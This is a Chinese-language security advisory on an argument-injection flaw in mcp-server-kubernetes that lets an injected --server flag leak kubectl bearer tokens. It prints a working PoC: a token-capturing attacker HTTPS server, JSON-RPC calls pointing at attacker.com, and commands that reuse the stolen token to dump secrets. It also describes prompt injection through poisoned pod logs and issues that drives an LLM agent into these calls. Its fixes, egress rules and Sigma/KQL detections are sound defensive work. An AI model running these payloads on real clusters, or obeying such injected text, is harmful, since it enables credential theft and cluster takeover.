一、漏洞概述

字段
CVE 编号 CVE-2026-61459
CVSS 3.1 评分 9.8(Critical)
CVSS 向量 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
漏洞类型 参数注入(Argument Injection, CWE-88)
受影响组件 mcp-server-kubernetes < 3.9.0
披露日期 2026 年 7 月 10 日
发现者 George Chen(geo-chen)
PoC 来源 GitHub Issue #328
修复版本 3.9.0(结构化工具);4.0.0(port_forward 补丁)
安全公告 GHSA-qmcc-whxh-2p3p

CVSS 9.8 意味着该漏洞在攻击复杂度(AC:L)、攻击向量(AV:N)、所需权限(PR:N)、用户交互(UI:N)、影响范围(S:U)和 CIA 三要素(C:H/I:H/A:H)全部达到最高或次高档。攻击者无需任何认证即可远程触发,且成功利用后直接导致集群管理员凭据外泄,进而完全接管整个 Kubernetes 集群。这是 MCP(Model Context Protocol)工具链生态中目前已知评分最高的漏洞之一。


二、MCP Server Kubernetes 背景

2.1 什么是 MCP Server Kubernetes

mcp-server-kubernetes 是一个基于 Model Context Protocol(MCP)的 Kubernetes 集群管理工具,允许 LLM Agent(如 Claude Desktop、Cursor、VS Code 中的 AI 助手)通过自然语言直接操作 K8s 集群。用户只需说"扩容这个应用"或"查看 Pod 日志",AI 就会自动调用 kubectl 命令完成操作。

该项目的核心工具集包括:

工具名 功能 参数
kubectl_get 获取资源 resourceType, name, namespace
kubectl_describe 查看资源详情 resourceType, name, namespace
kubectl_delete 删除资源 resourceType, name, namespace, force
kubectl_generic 通用 kubectl 执行 args(字符串数组)
kubectl_apply 应用 YAML 清单 manifest, namespace
port_forward 端口转发 resourceType, resourceName, port

截至 2026 年 7 月,该项目在 GitHub 上拥有超过 1,500 个 Star,是 MCP 生态中与 Kubernetes 集成的首选方案。

2.2 MCP 协议基础

Model Context Protocol(MCP)是 Anthropic 提出的 AI Agent 与外部工具通信的标准协议。其核心设计如下:

┌──────────────┐    MCP Protocol     ┌──────────────────┐    kubectl     ┌──────────────┐
│              │  ┌───────────────┐  │                  │  ┌──────────┐  │              │
│  LLM Agent   │──│ tools/call    │──│  MCP Server      │──│ kubectl  │──│ K8s API      │
│  (Claude等)   │  │ JSON-RPC 2.0 │  │  Kubernetes      │  │ 子进程    │  │ Server       │
│              │  └───────────────┘  │                  │  └──────────┘  │              │
└──────────────┘                     └──────────────────┘                 └──────────────┘
                                          │
                                     参数注入漏洞点

MCP 通信流程:

  1. LLM 生成工具调用参数:Agent 根据用户请求生成 tools/call 请求,包含工具名和参数(JSON 格式)
  2. MCP Server 接收并执行:Server 解析参数,构建 kubectl 命令行参数数组(argv),通过 execFileSyncspawn 执行
  3. kubectl 与 K8s API 通信:kubectl 使用当前 kubeconfig 中的凭证(Bearer Token)与 API Server 交互
  4. 结果返回:执行结果通过 MCP 协议返回给 LLM Agent

MCP 支持两种传输模式:

  • stdio:通过标准输入/输出通信,常用于 Claude Desktop 等本地客户端
  • SSE(Server-Sent Events):基于 HTTP 的长连接传输,适用于远程部署

2.3 架构层面的信任边界问题

                    ┌─── 信任边界 #1 ───┐
                    │                   │
用户 ──→ LLM Agent ──┤─── 信任边界 #2 ───┤──→ K8s API Server
                    │                   │
                    └───────────────────┘
                         MCP Server

关键问题:MCP Server 将 LLM 生成的参数直接传入 kubectl 的 argv,中间缺乏严格的参数验证。当 LLM 受到提示注入攻击时,攻击者可以控制 MCP 工具的输入参数,进而操纵底层系统命令的行为。


三、漏洞根因深度分析

3.1 结构化工具 vs 通用工具的安全差异

mcp-server-kubernetes 的工具分为两类,安全检查覆盖不均:

结构化工具kubectl_getkubectl_describekubectl_delete):

  • 接受独立参数(resourceType、name、namespace)
  • 直接拼接成 kubectl argv
  • 无任何安全检查(漏洞根因)

通用工具kubectl_generic):

  • 接受完整的 args 字符串数组
  • 挂载了 assertNoDangerousFlags 守卫函数
  • 对危险 kubectl 标志进行拦截

核心缺陷assertNoDangerousFlags 仅在 kubectl_generic 中被调用,结构化工具在分发路径中完全绕过了安全检查。

3.2 分发路径分析

dist/index.js(约第 144-154 行)的工具分发逻辑:

// dist/index.js - 工具分发(简化)
async function handleToolCall(name, args) {
    switch (name) {
        case 'kubectl_get':
            return await kubectlGet(args.resourceType, args.name, args.namespace);
        case 'kubectl_describe':
            return await kubectlDescribe(args.resourceType, args.name, args.namespace);
        case 'kubectl_delete':
            return await kubectlDelete(args.resourceType, args.name, args.namespace, args.force);
        case 'kubectl_generic':
            return await kubectlGeneric(args.args);  // 唯一经过安全检查的路径
        // ...
    }
}

可以看到,分发层对所有结构化工具直接传递参数,没有统一的输入验证。

3.3 参数注入机制

kubectl_get 为例,漏洞代码位于 dist/tools/kubectl-get.js(约第 65-68 行):

// 漏洞代码 - dist/tools/kubectl-get.js(简化)
function buildArgs(resourceType, name, namespace) {
    const args = ['get', resourceType];
    // ...
    args.push(name);          // ❌ name 直接拼接,无前导短横线检查
    args.push('-n', namespace); // ❌ namespace 同样未检查
    return args;
}

function kubectlGet(resourceType, name, namespace) {
    const args = buildArgs(resourceType, name, namespace);
    // ❌ 未调用 assertNoDangerousFlags(args)
    const result = execFileSync('kubectl', args);
    return result.toString();
}

同样的问题也存在于 kubectl-describe.js(约第 42 行)和 kubectl-delete.js(约第 87-89 行)。

3.4 assertNoDangerousFlags 守卫函数

// dist/security/kubectl-flags.js(简化)
function assertNoDangerousFlags(args) {
    const dangerousFlags = [
        '--server',
        '--token',
        '--kubeconfig',
        '--context',
        '--as',
        '--certificate-authority',
        '--client-certificate',
        '--client-key',
        '--password',
        '--username'
    ];

    for (const arg of args) {
        if (typeof arg === 'string' && arg.startsWith('-')) {
            if (dangerousFlags.some(flag => arg.startsWith(flag))) {
                throw new Error(`Dangerous flag detected: ${arg}`);
            }
        }
    }
}

// 仅被 kubectl_generic 调用
// dist/tools/kubectl-generic.js(约第 56 行)
function kubectlGeneric(args) {
    assertNoDangerousFlags(args);  // ✅ 通用工具有安全检查
    const result = execFileSync('kubectl', args);
    return result.toString();
}

3.5 port_forward 的独立问题

port_forward 工具使用 spawn() 而非共享的 execFileSyncSafe 包装层,因此从未执行 assertSafeArgv。其 argv 包含用户提供的 resourceType,以 ${resourceType}/${resourceName} 的形式拼接:

// dist/tools/port-forward.js(简化,修复前)
function startPortForward(resourceType, resourceName, port) {
    const args = [
        'port-forward',
        `${resourceType}/${resourceName}`,  // ❌ resourceType 可被注入
        `localPort:${port}`
    ];
    // 使用 spawn() 而非 execFileSyncSafe,完全绕过安全检查
    const child = spawn('kubectl', args);
    // ...
}

resourceType = "--server=https://attacker" 时,拼接结果为 "--server=https://attacker/name",kubectl 的 pflag 解析器会将其识别为 --server 标志并连接攻击者服务器。

3.6 漏洞根因总结

┌─────────────────────────────────────────────────────────┐
│                    漏洞根因层级图                          │
├─────────────────────────────────────────────────────────┤
│                                                         │
│  1. 设计缺陷:安全守卫仅挂载在通用工具上                    │
│     └─ assertNoDangerousFlags 仅在 kubectl_generic 调用   │
│                                                         │
│  2. 实现缺陷:结构化工具直接拼接参数                        │
│     ├─ kubectl_get: args.push(name)                     │
│     ├─ kubectl_describe: [resourceType, name]            │
│     ├─ kubectl_delete: [resourceType, name]               │
│     └─ port_forward: ${resourceType}/${resourceName}     │
│                                                         │
│  3. 执行缺陷:缺少双短横线(--)分隔符                     │
│     └─ 未在用户输入前插入 -- 分隔符                        │
│                                                         │
│  4. 传输缺陷:exec 路径不统一                              │
│     └─ 结构化工具用 execFileSyncSafe                      │
│     └─ port_forward 用 spawn,完全绕过安全层               │
│                                                         │
└─────────────────────────────────────────────────────────┘

四、完整攻击链

4.1 攻击路径

① 攻击者构造恶意请求
       │
       ▼
② LLM Agent 接收含注入参数的工具调用
   name = "--server=https://attacker.com:6443"
       │
       ▼
③ MCP Server 分发到 kubectl_get
   (未经过 assertNoDangerousFlags)
       │
       ▼
④ 构建 argv:
   kubectl get pod --server=https://attacker.com:6443 -n default
       │
       ▼
⑤ kubectl 连接攻击者控制的假 API Server
   (--server 覆盖 kubeconfig 中的 server 地址)
       │
       ▼
⑥ kubectl 自动携带 Authorization: Bearer <operator-token>
       │
       ▼
⑦ 攻击者 HTTPS 服务器捕获 Authorization 头
       │
       ▼
⑧ 使用窃取的 Bearer Token 访问真实 K8s API Server
       │
       ▼
⑨ 完全接管 Kubernetes 集群

4.2 关键环节详解

环节 1:kubectl 参数优先级

kubectl 命令行参数的优先级为:命令行参数 > 环境变量 > kubeconfig 文件。因此,当 argv 中出现 --server 时,kubectl 会忽略 kubeconfig 中配置的 server 地址,直接连接攻击者指定的 URL。

环节 2:Bearer Token 自动携带

kubectl 在与 API Server 建立 TLS 连接后,会自动在 HTTP 请求头中携带当前上下文的认证凭证。对于使用 Bearer Token 认证的集群,凭证格式为:

Authorization: Bearer <token-value>

这个 token 通常来自 kubeconfig 中 users[].user.token 字段,对应 ServiceAccount 或用户证书的绑定 token。

环节 3:攻击者 HTTPS 服务器捕获

攻击者在远程 HTTPS 服务器上监听 443/6443 端口,kubectl 发起的 TLS 握手请求到达后,即使握手失败(证书不匹配),kubectl 已经在 HTTP 层面发送了 Authorization 头。如果攻击者配置了合法的 TLS 证书,则可以完整接收并解析 HTTP 请求。

4.3 为什么 --server 注入有效

┌─────────────────────────────────────────────────────────────┐
│             kubectl 配置加载优先级(从高到低)                  │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  优先级 1:命令行标志(--server、--token、--kubeconfig)       │
│           └─ 注入点:--server=https://attacker.com:6443     │
│                                                             │
│  优先级 2:环境变量(KUBECONFIG、KUBERNETES_MASTER)         │
│                                                             │
│  优先级 3:kubeconfig 文件(~/.kube/config)                 │
│           └─ 正常配置:server: https://real-cluster:6443   │
│                                                             │
│  结论:注入的 --server 覆盖了 kubeconfig 中的合法地址        │
│                                                             │
└─────────────────────────────────────────────────────────────┘

此外,kubectl 默认对目标服务器的 TLS 证书不做严格验证(除非 kubeconfig 中显式配置了 certificate-authority),这意味着攻击者只需生成自签名证书即可接受 kubectl 的连接。


五、PoC 复现

5.1 环境搭建

# 1. 安装受影响版本
npm install mcp-server-kubernetes@3.8.0

# 2. 准备 kubeconfig(含真实凭证)
cat > ~/.kube/config << 'EOF'
apiVersion: v1
kind: Config
current-context: default
clusters:
- cluster:
    server: https://real-cluster.internal:6443
    insecure-skip-tls-verify: true
  name: default
contexts:
- context:
    cluster: default
    user: default
  name: default
users:
- name: default
  user:
    token: SECRET-OPERATOR-BEARER-TOKEN-abc123
EOF

5.2 攻击者 HTTPS 服务器(捕获凭证)

# attacker_server.py - 捕获 kubectl Bearer Token
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
import sys

class TokenCaptureHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        # 捕获 Authorization 头
        auth = self.headers.get('Authorization', 'NONE')
        print(f'\n[+] Captured Authorization Header:')
        print(f'    {auth}')
        print(f'[+] Source Path: {self.path}')
        print(f'[+] TOKEN EXFIL: CONFIRMED')

        # 返回空响应
        self.send_response(200)
        self.send_header('Content-Type', 'application/json')
        self.end_headers()
        self.wfile.write(b'{"kind": "Status", "code": 200}')

    def log_message(self, format, *args):
        # 静默标准日志
        pass

if __name__ == '__main__':
    PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 6443

    # 生成自签名证书(如已有则跳过)
    # openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain('cert.pem', 'key.pem')

    server = HTTPServer(('0.0.0.0', PORT), TokenCaptureHandler)
    server.socket = ctx.wrap_socket(server.socket, server_side=True)

    print(f'[*] Attacker HTTPS server listening on 0.0.0.0:{PORT}')
    print(f'[*] Waiting for kubectl to connect with injected --server...')
    server.serve_forever()
# 生成自签名 TLS 证书
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem \
    -days 365 -nodes -subj "/CN=attacker"

# 启动攻击者服务器
python3 attacker_server.py 6443

5.3 MCP 工具调用(攻击请求)

{
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/call",
    "params": {
        "name": "kubectl_get",
        "arguments": {
            "resourceType": "pods",
            "name": "--server=https://attacker.com:6443",
            "namespace": "default"
        }
    }
}

实际执行效果:

# MCP Server 构建的 kubectl 命令等价于:
kubectl get pods --server=https://attacker.com:6443 -n default

5.4 验证结果

攻击者服务器输出:

[*] Attacker HTTPS server listening on 0.0.0.0:6443
[*] Waiting for kubectl to connect with injected --server...

[+] Captured Authorization Header:
    Bearer SECRET-OPERATOR-BEARER-TOKEN-abc123
[+] Source Path: /api/v1/namespaces/default/pods
[+] TOKEN EXFIL: CONFIRMED (operator bearer token sent to attacker --server)

利用窃取的 Token 直接访问真实 K8s API Server:

# 使用窃取的 token 访问真实集群
kubectl --server=https://real-cluster.internal:6443 \
        --token=SECRET-OPERATOR-BEARER-TOKEN-abc123 \
        --insecure-skip-tls-verify \
        get secrets --all-namespaces

# 或通过 API 直接调用
curl -k -H "Authorization: Bearer SECRET-OPERATOR-BEARER-TOKEN-abc123" \
     https://real-cluster.internal:6443/api/v1/secrets?limit=500

六、危害分析

6.1 直接危害

危害 描述 严重程度
集群管理员凭证泄露 Bearer Token 对应 cluster-admin 权限 Critical
完全接管 K8s 集群 攻击者以 operator 身份执行任意操作 Critical
读取所有 Secrets 包含数据库密码、API Key、TLS 证书等 Critical
读取所有 ConfigMaps 应用配置、环境变量、连接字符串 High
部署恶意 Pod 运行加密货币挖矿、C2 代理、反向 shell Critical
删除所有资源 导致业务完全中断 Critical
窃取所有命名空间数据 多租户场景下跨租户数据泄露 Critical

6.2 间接危害

┌───────────────────────────────────────────────────────────┐
│                   攻击危害扩散图                            │
├───────────────────────────────────────────────────────────┤
│                                                           │
│  K8s 集群接管                                              │
│       ├─── 横向移动                                        │
│       │    ├─ Pod ServiceAccount Token 提取                │
│       │    ├─ 云平台 IAM 角色凭证(Workload Identity)      │
│       │    └─ 节点 SSH 密钥                                │
│       │                                                   │
│       ├─── 持久化后门                                      │
│       │    ├─ 部署特权 DaemonSet                           │
│       │    ├─ 修改 kube-system ConfigMaps                 │
│       │    └─ 注入 webhook/准入控制器                       │
│       │                                                   │
│       ├─── 数据窃取                                       │
│       │    ├─ Secrets 中的数据库凭证                       │
│       │    ├─ PV/PVC 中持久化数据                          │
│       │    └─ etcd 备份(如可访问)                        │
│       │                                                   │
│       └─ 加密货币挖矿 / 勒索                              │
│            ├─ 利用集群算力挖矿                              │
│            └─ 数据加密 + 勒索赎金                          │
│                                                           │
└───────────────────────────────────────────────────────────┘

6.3 影响范围

维度 影响范围
认证要求 无(PR:N)——攻击者不需要拥有集群的任何凭证
用户交互 无(UI:N)——受害者无需执行任何额外操作
攻击向量 远程(AV:N)——可通过网络远程触发
影响维度 机密性/完整性/可用性全部受影响(C:H/I:H/A:H)
预置条件 1. 目标部署了受影响版本的 mcp-server-kubernetes
2. 攻击者能影响 LLM Agent 的输入(通过提示注入)

七、攻击场景扩展

7.1 通过提示注入触发

攻击者无需直接调用 MCP 工具接口,可以通过以下方式诱导 LLM Agent 构造恶意参数:

场景 1:被投毒的 Pod 日志

# 攻击者在目标集群中部署恶意 Pod,输出包含注入指令的日志
# LLM Agent 被要求"检查该 Pod 的日志",读取到注入指令后构造恶意工具调用

场景 2:被投毒的搜索结果 / Issue Ticket

# 攻击者在公开的 GitHub Issue 或文档中嵌入注入指令
# LLM Agent 被要求"查看这个 Issue",读取到恶意内容后构造恶意工具调用

场景 3:Cursor DuneSlide 类似攻击链

# 类似 CVE-2025-26614(Cursor DuneSlide)的零点击攻击链:
# 1. 攻击者通过 GitHub Copilot Chat 或其他渠道向 LLM 注入指令
# 2. LLM 自动调用 kubectl_get,传入恶意 name 参数
# 3. 用户完全不知情,凭证已在后台泄露

7.2 其他可注入参数与攻击向量

除了 --server 之外,结构化工具还可被注入多种危险 kubectl 标志:

注入标志 注入参数示例 攻击效果
--server --server=https://attacker.com:6443 重定向到攻击者 API Server,窃取 Bearer Token
--token --token=attacker-controlled-token 使用攻击者指定的 Token 发送请求
--kubeconfig --kubeconfig=/tmp/malicious-kubeconfig 加载攻击者准备的 kubeconfig,可能包含恶意证书/服务器
--as --as=system:masters 模拟 cluster-admin 用户身份
--certificate-authority --certificate-authority=/tmp/attacker-ca.pem 使用攻击者的 CA 证书,建立中间人位置
--client-certificate --client-certificate=/tmp/attacker-cert.pem 替换客户端证书为攻击者控制

resourceType 参数注入

{
    "name": "kubectl_get",
    "arguments": {
        "resourceType": "--server=https://attacker.com:6443",
        "name": "pods",
        "namespace": "default"
    }
}

等价执行:

kubectl get --server=https://attacker.com:6443 pods -n default

namespace 参数注入

{
    "name": "kubectl_delete",
    "arguments": {
        "resourceType": "pod",
        "name": "target-pod",
        "namespace": "--server=https://attacker.com:6443"
    }
}

八、修复方案与防御

8.1 官方修复

3.9.0 版本修复(commit d7890f5):

引入 execFileSyncSafe 包装层,统一为所有结构化工具增加 assertSafeArgv 检查:

// 修复后 - 统一安全包装层
const { execFileSync } = require('child_process');
const { assertSafeArgv } = require('./security/kubectl-flags');

function execFileSyncSafe(cmd, args) {
    assertSafeArgv(args);  // ✅ 所有工具执行前统一检查
    return execFileSync(cmd, args);
}

// 修复后的 kubectl_get
function kubectlGet(resourceType, name, namespace) {
    const args = ['get', resourceType, name, '-n', namespace];
    return execFileSyncSafe('kubectl', args);  // ✅ 经过 assertSafeArgv
}

4.0.0 版本修复(PR #329, commit 9a20ffd):

port_forwardspawn() 路径补上相同的过滤:

// 修复后的 port_forward
function startPortForward(resourceType, resourceName, port) {
    const args = [
        'port-forward',
        `${resourceType}/${resourceName}`,
        `localPort:${port}`
    ];
    assertSafeArgv(args);  // ✅ spawn 前也检查
    const child = spawn('kubectl', args);
    // ...
}

8.2 出向流量限制

在无法立即升级的场景下,通过 iptables 或网络策略限制 kubectl 只能访问内部 API Server:

# iptables 规则:仅允许 kubectl 进程访问内部 K8s API
# 假设 MCP Server 以 mcp 用户身份运行

# 1. 允许访问内网 API Server(RFC1918 + 内部域名)
iptables -A OUTPUT -m owner --uid-owner mcp -p tcp --dport 443 \
    -d 10.0.0.0/8 -j ACCEPT
iptables -A OUTPUT -m owner --uid-owner mcp -p tcp --dport 6443 \
    -d 10.0.0.0/8 -j ACCEPT
iptables -A OUTPUT -m owner --uid-owner mcp -p tcp --dport 443 \
    -d 172.16.0.0/12 -j ACCEPT
iptables -A OUTPUT -m owner --uid-owner mcp -p tcp --dport 443 \
    -d 192.168.0.0/16 -j ACCEPT

# 2. 阻止所有其他 HTTPS 出向流量
iptables -A OUTPUT -m owner --uid-owner mcp -p tcp --dport 443 -j DROP
iptables -A OUTPUT -m owner --uid-owner mcp -p tcp --dport 6443 -j DROP

8.3 参数白名单与 -- 分隔符

对所有进入 kubectl argv 的输入实施前导短横线检测,并使用 -- 分隔符强制终止选项解析:

// 最佳实践 1:前导短横线拒绝
function sanitizeArgvValue(value, paramName) {
    if (typeof value === 'string' && value.startsWith('-')) {
        throw new McpError(
            ErrorCode.InvalidParams,
            `Parameter "${paramName}" must not start with a dash (-)`
        );
    }
    // 可选:K8s 资源名称正则校验
    const validName = /^[a-z0-9]([a-z0-9.-]*[a-z0-9])?$/;
    if (!validName.test(value)) {
        throw new McpError(
            ErrorCode.InvalidParams,
            `Parameter "${paramName}" contains invalid characters`
        );
    }
    return value;
}

// 最佳实践 2:使用 -- 分隔符
function kubectlGet(resourceType, name, namespace) {
    sanitizeArgvValue(resourceType, 'resourceType');
    sanitizeArgvValue(name, 'name');
    const args = ['get', resourceType, '--', name, '-n', namespace];
    //              ↑ -- 分隔符确保 name 不会被解释为标志
    return execFileSyncSafe('kubectl', args);
}

8.4 最小权限 Kubeconfig

MCP Server 不应使用具有 cluster-admin 权限的 kubeconfig。最佳实践是为 MCP Server 创建受限 ServiceAccount:

# mcp-operator-rbac.yaml - 最小权限 RBAC
apiVersion: v1
kind: ServiceAccount
metadata:
  name: mcp-operator
  namespace: kube-system
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: mcp-operator-role
rules:
  - apiGroups: [""]
    resources: ["pods", "pods/log", "services", "endpoints"]
    verbs: ["get", "list", "describe"]
  - apiGroups: ["apps"]
    resources: ["deployments", "replicasets", "statefulsets"]
    verbs: ["get", "list", "describe"]
  # 明确禁止访问 secrets
  - apiGroups: [""]
    resources: ["secrets"]
    verbs: []  # 空 verbs 列表
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: mcp-operator-binding
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: mcp-operator-role
subjects:
  - kind: ServiceAccount
    name: mcp-operator
    namespace: kube-system

8.5 监控检测

Sigma 规则:检测可疑的 kubectl --server 参数

title: CVE-2026-61459 - Suspicious kubectl --server Parameter
id: 8a4d9c21-5f3a-4b1a-9e2c-3d5f6a7b8c9d
status: experimental
description: >
    Detects kubectl processes executed with --server flag pointing to
    external IPs or suspicious domains, indicating CVE-2026-61459
    argument injection exploitation.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-61459
    - https://github.com/Flux159/mcp-server-kubernetes/issues/328
author: Security Research
date: 2026/07/10
tags:
    - attack.credential_access
    - attack.t1528
logsource:
    product: linux
    category: process_creation
detection:
    selection:
        Image|endswith: '/kubectl'
        CommandLine|contains: '--server'
    filter_internal:
        CommandLine|contains:
            - '10.0.0.'
            - '192.168.'
            - '172.16.'
            - '127.0.0.1'
            - '.cluster.local'
            - '.internal'
    condition: selection and not filter_internal
falsepositives:
    - Legitimate use of kubectl to manage external clusters (rare in automated contexts)
level: critical

Sigma 规则:MCP Server 参数注入模式

title: MCP Server Kubectl Argument Injection Pattern
id: 1b2e3f4a-5d6e-7f8a-9b0c-1d2e3f4a5b6c
status: experimental
description: >
    Detects argument injection patterns in MCP Server spawned kubectl
    processes, specifically targeting resource injection with leading dashes.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-61459
author: Security Research
date: 2026/07/10
tags:
    - attack.initial_access
    - attack.t1190
logsource:
    product: linux
    category: process_creation
detection:
    selection_tool:
        ParentImage|contains: 'mcp-server'
        Image|endswith: '/kubectl'
    selection_injection:
        CommandLine|re: '.*\s--server\s*=?(https?://[^\s]+).*'
    condition: all of selection_*
falsepositives: Unlikely
level: critical

KQL 查询(Microsoft Sentinel / Defender)

let ExternalIPs = DeviceNetworkEvents
| where RemoteIP !startswith "10."
| where RemoteIP !startswith "192.168."
| where RemoteIP !startswith "172.16."
| where RemoteIP != "127.0.0.1"
| project DeviceId, RemoteIP, RemotePort, InitiatingProcessCommandLine;

DeviceProcessEvents
| where FileName == "kubectl"
| where CommandLine has "--server"
| where not (CommandLine has ".cluster.local" or CommandLine has ".internal")
| join kind=inner ExternalIPs on DeviceId
| project Timestamp, DeviceName, AccountName, CommandLine, RemoteIP, RemotePort
| extend AlertDetail =
    "Potential CVE-2026-61459: Kubectl redirected to external IP"

九、MCP 工具链安全启示

9.1 MCP 协议的系统性攻击面

CVE-2026-61459 并非孤例,而是 MCP 工具链生态中参数注入类漏洞的典型代表。当 LLM 生成的参数被直接传递给系统命令时,参数注入成为系统性风险:

┌──────────────────────────────────────────────────────────────┐
│              MCP 工具链攻击面全景                              │
├──────────────────────────────────────────────────────────────┤
│                                                              │
│  输入层                                                       │
│  └─ 提示注入(Prompt Injection)                               │
│     ├─ 恶意 Pod 日志 / Issue 内容                             │
│     ├─ 被投毒的搜索结果 / 文档                                │
│     └─ Cursor DuneSlide 零点击攻击                            │
│                                                              │
│  协议层                                                       │
│  └─ 参数注入(Argument Injection)                             │
│     ├─ LLM 输出 → MCP 参数 → 系统命令 argv                   │
│     ├─ 缺乏统一的输入验证和消毒                               │
│     └─ CWE-88: Improper Neutralization of Argument Delimiters │
│                                                              │
│  执行层                                                       │
│  └─ 命令注入 / 凭据外泄                                       │
│     ├─ kubectl --server 重定向 → Token 窃取                  │
│     ├─ 任意命令执行(如 CVE-2025-53355)                      │
│     └─ 沙箱逃逸                                               │
│                                                              │
└──────────────────────────────────────────────────────────────┘

9.2 安全设计原则

原则 说明 CVE-2026-61459 的违反
统一安全检查 所有工具路径必须经过相同的安全验证 assertNoDangerousFlags 仅在 kubectl_generic 中挂载
参数与标志分离 使用 -- 分隔符终止选项解析 用户输入直接拼接到 argv 中
输入白名单 对所有外部输入实施正则/格式校验 未检查 name/resourceType 是否以 - 开头
最小权限 MCP Server 使用受限 kubeconfig 默认使用 operator 的完整 kubeconfig
深度防御 网络层/应用层/参数层多层防御 仅有应用层(且不完整)的参数检查

9.3 MCP 相关漏洞对比

CVE 组件 漏洞类型 CVSS 核心问题
CVE-2026-61459 mcp-server-kubernetes 参数注入 → 凭据泄露 9.8 结构化工具绕过 assertNoDangerousFlags
CVE-2026-47250 mcp-server-kubernetes 参数注入 → Token 泄露 6.1 kubectl_generic 的 allowlist 绕过
CVE-2025-53355 mcp-server-kubernetes 命令注入 → RCE - 恶意字符注入导致系统命令执行
CVE-2026-66012 SiYuan Note MCP 缺失授权 → 完全接管 10.0 MCP 端点未校验管理员角色
CVE-2026-42208 LiteLLM MCP SQL 注入 → 凭据泄露 - f-string 拼接导致 SQL 注入

9.4 MCP 安全审计清单

在部署或开发 MCP Server 时,应逐项检查以下安全要点:

┌────────────────────────────────────────────────────────────────┐
│                 MCP Server 安全审计清单                         │
├────────────────────────────────────────────────────────────────┤
│                                                                │
│ □ 输入验证                                                     │
│   □ 所有外部输入(LLM 生成或用户传入)是否经过白名单校验?      │
│   □ 是否拒绝所有以短横线(-)开头的参数值?                     │
│   □ 是否在系统命令的 argv 中使用 -- 分隔符?                     │
│                                                                │
│ □ 安全检查统一性                                                │
│   □ 所有 exec 路径(execFileSync / spawn / exec)是否经过      │
│     统一的安全包装层?                                          │
│   □ 是否不存在"安全检查仅挂在部分工具"的情况?                   │
│                                                                │
│ □ 权限最小化                                                   │
│   □ MCP Server 是否使用受限 ServiceAccount 而非管理员凭证?     │
│   □ kubeconfig 中的 token 是否限制在最小必要权限?              │
│   □ 是否启用了只读模式(如不需要写入操作)?                     │
│                                                                │
│ □ 网络防御                                                     │
│   □ 是否配置了出向流量限制?                                    │
│   □ kubectl 是否只能访问已知内部 API Server 地址?              │
│   □ 是否有监控告警覆盖异常出向连接?                            │
│                                                                │
│ □ 凭证管理                                                     │
│   □ Bearer Token 是否设置了合理的过期时间?                     │
│   □ 是否定期轮换 MCP Server 使用的凭证?                       │
│   □ kubeconfig 中的 token 是否不以明文存储在可读路径?         │
│                                                                │
│ □ 提示注入防护                                                 │
│   □ LLM Agent 是否限制读取外部不受信来源的内容?               │
│   □ 是否对 MCP 工具调用实施操作审计日志?                      │
│   □ 是否部署了检测 LLM 行为异常的监控?                         │
│                                                                │
└────────────────────────────────────────────────────────────────┘

十、总结

CVE-2026-61459 是 MCP 工具链安全的一个重要里程碑事件。它揭示了一个核心问题:当 AI Agent 被授予操作基础设施的权限时,从 LLM 输出到系统命令执行的整条链路中,任何一环的安全缺失都可能被攻击者利用,造成灾难性后果。

该漏洞的根因看似简单——结构化工具绕过了已有的安全守卫函数——但背后折射出 MCP 工具链在安全设计上的系统性短板:

  1. 安全检查不统一:守卫函数仅挂在通用工具上,结构化工具完全裸奔
  2. 参数处理不严谨:用户输入直接拼接为 argv,缺少分隔符保护
  3. exec 路径不一致execFileSyncSafespawn 各走各的路,安全覆盖有盲区

修复方案(3.9.0+)通过引入统一的 execFileSyncSafe 包装层和 assertSafeArgv 检查基本解决了该问题,但更根本的防御需要从架构层面落实最小权限、网络隔离和提示注入防护。对于所有使用 MCP 协议的 AI 工具链开发者而言,这一事件提供了一个沉甸甸的教训:LLM 是不可完全信任的参数生成器,一切从 LLM 输出到系统命令执行的链路都必须被当作不可信输入来处理


参考资料